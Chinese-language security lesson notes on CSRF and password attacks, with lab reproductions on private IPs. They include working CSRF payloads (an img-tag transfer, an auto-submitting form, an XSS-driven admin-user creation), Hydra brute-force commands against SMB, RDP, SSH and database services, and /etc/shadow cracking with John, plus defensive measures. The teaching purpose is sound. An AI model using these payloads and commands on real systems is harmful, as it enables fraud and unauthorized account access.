一、跨站请求伪造
1.概述
黑客可以伪造管理员的正常请求,强制管理员给任意用户的发出各种请求。
(1)基本概念
跨站请求伪造(
Cross Site Request Forgery,CSRF
) 。
CSRF
是⼀种攻击,它强制终端⽤户在当前对其进⾏身份验证后的
Web
应⽤程序上执⾏⾮本意操作的攻
击。
CSRF
攻击的重点在于更改状态的请求,⽽不是盗取数据,因为攻击者⽆法查看伪造请求的响应。
(2)关键点
受害者没有退出登录。
CSRF
是⼀种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执⾏⾮本意
的、恶意的操作。
(3)目标
CSRF
的⽬标是更改⽤户账户的状态,攻击者利⽤
CSRF
发送的请求都是更改状态的请求,⽐如,转账、
更改密码,购买商品等等。
CSRF
的场景中,攻击者是没有办法获得服务器的响应。
2.CSRF的场景复现
模拟银行网站
http://192.168.48.131/CSRF/bank/
恶意网站
http://192.168.48.131/CSRF/csrf/
(1)账户之间转账
构造CSRF攻击链接
<img src='./1.jpg'><br />
<img src='http://192.168.48.131/CSRF/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝⼑在⼿,谁与争锋'>
通过<img>标签构造GET请求。这个GET 请求来⾃于受害者的浏览器,是⽤户发起的转账请求。
受害者访问⽹站的时候加载了 <img> 标签。浏览器会根据 <img> 标签中的 SRC 属性,请求服务器资源
(
GET
),会⾃动带上身份认证信息(
Cookie
)。
(2)CSRF 场景建模
![](https://img-blog.csdnimg.cn/20200803193841808.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI4MjQxNzA5,size_16,color_FFFFFF,t_70)
简述:首先受害者登录一个信任网站(比如银行网站),通过网站验证,浏览器会产生信任网站的身份凭证(cookie),这时候,受害者在没有登出信任网站的情况下,访问危险网站,危险网站就会载入恶意代码,要求受害者访问信任站点(发送对信任网站的请求),根据恶意代码黑客就可以携带信任网站的身份验证(受害者的cookie)来登入受害者信任的网站进行恶意代码的操作。
3.CSRF的类别
GET
请求。
把关键操作采⽤
POST
请求,是不是就能够防御
CSRF
漏洞了呢?
POST方式
<meta charset='utf-8'>
<form name='csrf' action='
http://192.168.48.131/CSRF/bank/action.php'
method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
GET 请求换成POST请求也不能防御CSRF漏洞
4.与XSS漏洞相结合
攻击者可以利⽤
XSS
触发
CSRF
攻击。因为,可以利⽤
JS
发送
HTTP
请求。
经过研究受害⽹站的业务流程,可以构造如下代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.48.131/cms/admin/user.action.php:,false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=anin&password=123456&password2=123456&butt
on=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
XSS和CSRF联系:发生在客户端,典型前端漏洞
5.CSRF漏洞的防御
(1)无效的防御
使⽤秘密的Cookie
仅接收POST 请求
多步交易:多步交易,有可能会被恶意攻击者预测。
URL 重写:⽤户的身份信息会暴露在URL 中;不建议通过引⼊另外⼀个漏洞来解决当前漏洞。
HTTPS:所有安全机制的前提。
(2)有效的防御
验证 Referer 字段:当前URL 的上⼀个URL是否可以伪造?
添加Token 验证:⼀串随机字符串;
每⼀次客户端的请求,服务器都要刷新Token;
服务器创建了⼀个
Token
值,存储在服务器中并且下发到浏览器 ,下次浏览器请求,需要提交该Token 值,服务器根据浏览器提交的
Token
与服务器中存储的
Token 进⾏⽐对:
如果⼆者⼀致,说明请求是正常业务流程。;
如果⼆者不⼀致,说明请求有可能来⾃于恶意的攻击者。
Token 的设计,在
PHP
中通常利⽤
SESSION
机制来实现。
![](https://img-blog.csdnimg.cn/20200803200234164.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzI4MjQxNzA5,size_16,color_FFFFFF,t_70)
⼆次验证:在关键操作之前,再输⼊密码或者验证码。
二、密码安全
1.密码安全威胁
现在很多地⽅都是以(⽤户名)账户和(⼝令)密码作为鉴权的⽅式,(⼝令)密码就意味着访问权
限。
人和账密绑定、账密和权限绑定
密码的安全现状
密码对于保护资产来讲是⾄关重要,保证密码安全也是重要的课题之⼀。
密码所面临的安全风险:
密码泄露:
以⽂件的⽅式保存⼝令;
⽹站的配置⽂件;
源代码中的注释;
备份⽂件;
邮件,⼝令以明⽂的⽅式出现在邮件中;
浏览器中保存的账密;
弱密码:
123456|654321|8888888|admin
,都是常⻅的弱密码
默认密码:
phpStudy
中
mysql
默认账密
[root:root]
Tomcat
管理控制台默认账密
[tomcat:tomcat]
明文传输:
http|ftp|telnet
等等服务,都是明⽂传输的
被嗅探
2.密码破解方式
(1)暴力破解:
暴⼒破解是最原始,最粗暴的破解⽅法。
暴⼒破解就是利⽤所有可能的字符组成密码字典,去尝试破解,根据运算能⼒,如果能够承受的起时间
成本,最终⼀定会爆破出密码。
密码空间:所有可能的密码的个数。
密码空间⼤⼩的影响因素:
1.
字符集合;
2.
密码位数
密码字典⽣成⼯具 - crunch:
密码字典⽣成⼯具 - crunch:
crunch 8 8 0123456789
crunch 8 8 0123456789abcdefghijklmnopqrstuvwxyz
crunch 1 8 0123456789abcdefghijklmnopqrstuvwxyz
crunch 8 8 -t 1990%%%%
字符集
| 密码位数 | 密码空间 | 大小 |
[0-9]
| 8 | 10^8 | 858M |
[0-9][a-z]
| 8 | 36^8 |
24213780 MB
|
[0-9][a-z] | 1-8 | ? |
24826537 MB
|
(2)字典破解:
如果能够通过⽐较合理的条件,筛选或者过滤掉⼀些全字符组合的内容,就会⼤幅度降低爆破的成本。
把筛选出的特定的密码组合成具有明显特征的字典。密码字典就是暴⼒破解中密码空间的⼦集。
但是,再⽤密码字典进⾏爆破的时候,有可能会漏掉真正的密码。
kali 中的字典:/usr/share/wordlists/rockyou.txt.gz
弱⼝令字典:
123456
;admin
;root...
社⼯字典:
⼈们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个⼈信息有关,⽐如常⻅的密码组
合
”
名字
+
⽣⽇“:anin1112。
社⼯字典更具针对性,准确率有可能会⽐较⾼:
亦思社会⼯程学字典⽣成器
;cupp -i。
字符集字典:
字符集合
;密码位数;
组合⽅法。
示例:
密码组合:数字
+".com"
密码位数:
7
示例:
000.com|001.com
crunch 7 7 -t %%%.com > test.dic
(3)在线远程密码破解:
⽤户名和密码需要在服务器端验证,需要⽹络连接
⽹站后台;
RDP;
SSH;
(4)离线密码破解:
直接破解的是密码密⽂
/etc/shadow
(5)密码破解情况:
⽤户名未知,密码未知
⽤户名已知,密码未知
⽤户名未知,密码已知
3.Hydra-远程密码破解神器
命令速查
4.远程密码破解实例
(1)远程爆破windows ⼝令
SMB 服务:
hydra smb://192.168.48.131 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 131.smb
hydra smb://192.168.48.131 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -t 8 -o 131.smb -f
RDP服务
hydra rdp://192.168.16.131-l administrator -P
/home/kali/dic/test/pass.dic -t 1 -o 131.rdp -f
(2)远程爆破Linux ⼝令
SSH服务
hydra ssh://192.168.48.132 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -vV -o 132.ssh -f -e nsr
(3)其他服务的爆破
FTP服务
hydra ftp://192.168.48.131 -L user.dic -P pass.dic -f -vV -e nsr
SQL Server服务
hydra mssql://192.168.48.131 -L user.dic -P pass.dic -f -vV -e nsr
MySQL服务
sudo hydra mysql://127.0.0.1 -L /home/kali/dic/test/user.dic -P
/home/kali/dic/test/pass.dic -f -vV -t 1 -o 127.mysql -e nsr
5.离线密码破解
(1)/etc/shadow文件爆破
sudo cp /etc/shadow ./
john shadow
john shadow --wordlist=rockyou.txt
john shadow --show
(2)MD5密文爆破
https://www.cmd5.com/
https://pmd5.com/
6.网站后台爆破
Burp Suite
Intruder
有⽆验证码:
如果验证码不能识别或者不能爆破,基本上可以放弃了。
绕过验证码
直接删除验证码
是否在
Cookie
⾥